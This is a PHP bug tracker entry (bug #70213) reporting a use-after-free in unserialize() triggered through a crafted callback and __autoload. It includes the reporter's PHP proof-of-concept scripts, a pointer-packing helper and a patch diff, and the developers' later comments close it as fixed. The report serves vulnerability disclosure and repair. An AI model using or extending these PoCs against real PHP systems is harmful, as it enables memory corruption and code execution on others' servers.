php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #70213 Unserialize context shared on double class lookup
Submitted: 2015-08-08 10:23 UTC Modified: 2017-01-01 13:08 UTC
From: taoguangchen at icloud dot com Assigned:
Status: Closed Package: *General Issues
PHP Version: 5.4.44 OS: *
Private report: No CVE-ID: None
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
36 + 41 = ?
Subscribe to this entry?

 
 [2015-08-08 10:23 UTC] taoguangchen at icloud dot com
Description:
------------
i) ZVAL can be freed from memory via the process_nested_data() with a invalid serialized string.

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
	while (elements-- > 0) {
		zval *key, *data, **old_data;

		...

		ALLOC_INIT_ZVAL(data);

		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			zval_dtor(data);
			FREE_ZVAL(data);  <===  free memory
			return 0;
		}
```

ii) defined __autoload() function via unserialize()'s callback function, then call __autoload() function via zend_lookup_class().

```
		MAKE_STD_ZVAL(user_func);
		ZVAL_STRING(user_func, PG(unserialize_callback_func), 1);
		args[0] = &arg_func_name;
		MAKE_STD_ZVAL(arg_func_name);
		ZVAL_STRING(arg_func_name, class_name, 1);
		BG(serialize_lock)++;
		if (call_user_function_ex(CG(function_table), NULL, user_func, &retval_ptr, 1, args, 0, NULL TSRMLS_CC) != SUCCESS) {
		
		...
		
		/* The callback function may have defined the class */
		if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) {
			ce = *pce;
		} else {
```

so we can create ZVAL and free it via crafted __autoload() with deserialize invalid serialized string. then use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code.

PoC:

```
ini_set('unserialize_callback_func', 'evil');

function evil() {
	function __autoload($arg) {
		$str = 'a:1:{i:0;i:1';
		unserialize($str);
	}
}

$exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```


Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-08 10:24 UTC] taoguangchen at icloud dot com
the patch for 5.4 series (maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.44/var_unserializer.c b/php-5.4.44-fixed/var_unserializer.c
index 8c4e629..bb35ba8 100644
--- a/php-5.4.43/var_unserializer.c
+++ b/php-5.4.43-fixed/var_unserializer.c
@@ -728,6 +728,7 @@ yy20:
 		}
 		
 		/* The callback function may have defined the class */
+		BG(serialize_lock)++;
 		if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) {
 			ce = *pce;
 		} else {
@@ -735,6 +736,7 @@ yy20:
 			incomplete_class = 1;
 			ce = PHP_IC_ENTRY;
 		}
+		BG(serialize_lock)--;
 
 		zval_ptr_dtor(&user_func);
 		zval_ptr_dtor(&arg_func_name);
 [2015-08-08 10:56 UTC] taoguangchen at icloud dot com
previous PoC is work but some code is not required, so i update a new PoC:

```
ini_set('unserialize_callback_func', 'evil');

function evil() {
	function __autoload($arg) {
		$str = 'a:1:{i:0;i:1';
		unserialize($str);
	}
}

$exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-08-16 22:44 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-08-16 22:44 UTC] stas@php.net
This exploit seems to require specially crafted code unlikely to be encountered in real applications. As such, doesn't look like a security issue.
 [2015-12-08 22:26 UTC] yohgaki@php.net
@stas

It seems proposed patch is applicable to 5.6/7.0. Are you going to merge the patch or it's not needed for 5.6/7.0?
 [2017-01-01 12:54 UTC] nikic@php.net
-Summary: Use after free vulnerability in unserialize() +Summary: Use after free in unserialize() in combination with double class lookup
 [2017-01-01 13:08 UTC] nikic@php.net
-Summary: Use after free in unserialize() in combination with double class lookup +Summary: Unserialize context shared on double class lookup
 [2017-01-01 13:08 UTC] nikic@php.net
Looks like the use-after-free has already been otherwise resolved in the meantime. However, we should of course still lock the context here.
 [2017-01-01 13:14 UTC] nikic@php.net
Automatic comment on behalf of nikic
Revision: http://git.php.net/?p=php-src.git;a=commit;h=a65ad951ad95944e357703caa2001f06a4225bf6
Log: FIx bug #70213
 [2017-01-01 13:14 UTC] nikic@php.net
-Status: Open +Status: Closed
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Nov 08 05:01:28 2024 UTC